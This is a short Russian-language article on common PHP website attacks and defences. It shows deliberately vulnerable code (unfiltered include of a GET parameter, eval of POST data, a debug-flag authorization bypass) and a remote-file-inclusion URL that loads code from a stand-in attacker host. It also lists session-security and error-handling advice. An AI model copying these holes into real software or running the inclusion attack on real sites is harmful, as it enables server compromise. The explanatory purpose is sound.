В этой статье рассмотрим распространенные атаки на сайт и способы защиты от них.
Инъекция исполняемого кода
В php есть несколько функций с ‘дырками’ в безопасности: include, require, include_once, require_once, create_function. И на множестве сайтов с применением этих функций, админы забывают фильтровать входящие данные. Пример:
$module = $_GET['module']; include $module. '.php'; //нет фильтрации входящих данных
Тогда сама уязвимость, т.е. в адресную строку можно передать все, что угодно:
http://site.ru/index.php?module=http://hacker.com/inc
При написании кода, программисты делают ‘служебные вставки’, пример:
if (!_debug) authorizeUser();
Не рекомендую также использовать функцию eval:
eval($_POST['sys_call']);
Защита от атак
- Любая ошибка (исключение) должна быть обработана и протоколирована.
- Отключите вывод ошибки пользователю.
- Используйте модульное приложение с центральным механизмом обработки ошибок (исключений).
Раскрытие данных сессий
В одной из прошлых статей писал, что можно с помощью java-скрипта украсть чужую сессию и действовать от имени жертвы.
Для защиты советую:
- Никогда не использовать сессию без cookie.
- Не программируйте свой механизм создания сессий.
- Используйте куки httpOnly (получение куки только по http запросу).
- Явное завершение сессии, нопка ‘выйти’ на сайте.
- Регулярно очищайте хранилище сессий.
- Храните сессионные данные за пределами ‘видимости’ сервера.
- Не передавать идентификаторы сессий в открытом виде.